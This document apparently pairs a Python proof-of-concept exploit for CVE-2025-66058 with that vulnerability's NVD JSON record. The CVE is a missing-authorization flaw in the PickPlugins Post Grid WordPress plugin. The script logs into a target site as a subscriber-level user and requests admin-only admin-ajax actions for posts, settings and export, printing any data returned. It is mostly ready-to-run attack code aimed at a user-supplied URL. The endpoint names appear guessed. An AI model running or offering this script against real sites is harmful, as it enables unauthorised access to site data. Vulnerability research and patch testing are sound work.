CVE-2025-66058

import requests import sys # CVE-2025-66058 PoC - Broken Access Control in Post Grid Plugin # Target: WordPress site with PickPlugins Post Grid plugin <= 2.3.17 def check_vulnerability(target_url, username, password): """ Check if the target WordPress site is vulnerable to CVE-2025-66058 This PoC demonstrates accessing admin-only endpoints with low-privileged user """ session = requests.Session() # Step 1: Login as low-privileged user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } try: response = session.post(login_url, data=login_data, timeout=10) # Check if login successful if 'wordpress_logged_in' in str(session.cookies): print(f"[+] Login successful as {username}") # Step 2: Attempt to access admin-only plugin functionality # Common Post Grid admin ajax endpoints that should require admin privileges admin_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=post_grid_get_all_post", f"{target_url}/wp-admin/admin-ajax.php?action=post_grid_settings", f"{target_url}/wp-admin/admin-ajax.php?action=post_grid_export", ] for endpoint in admin_endpoints: resp = session.get(endpoint, timeout=10) # If we get a successful response (not 403/401), vulnerability exists if resp.status_code == 200 and 'error' not in resp.text.lower(): print(f"[+] VULNERABLE: {endpoint}") print(f" Response snippet: {resp.text[:200]}") else: print(f"[-] Protected: {endpoint} (Status: {resp.status_code})") else: print("[-] Login failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python poc.py <target_url> <username> <password>") print("Example: python poc.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)

{"cve": {"id": "CVE-2025-66058", "sourceIdentifier": "[email protected]", "published": "2025-12-18T17:15:57.257", "lastModified": "2026-04-23T15:35:15.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in PickPlugins Post Grid and Gutenberg Blocks post-grid allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Post Grid and Gutenberg Blocks: from n/a through <= 2.3.17."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-grid/vulnerability/wordpress-post-grid-and-gutenberg-blocks-plugin-2-3-17-broken-access-control-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}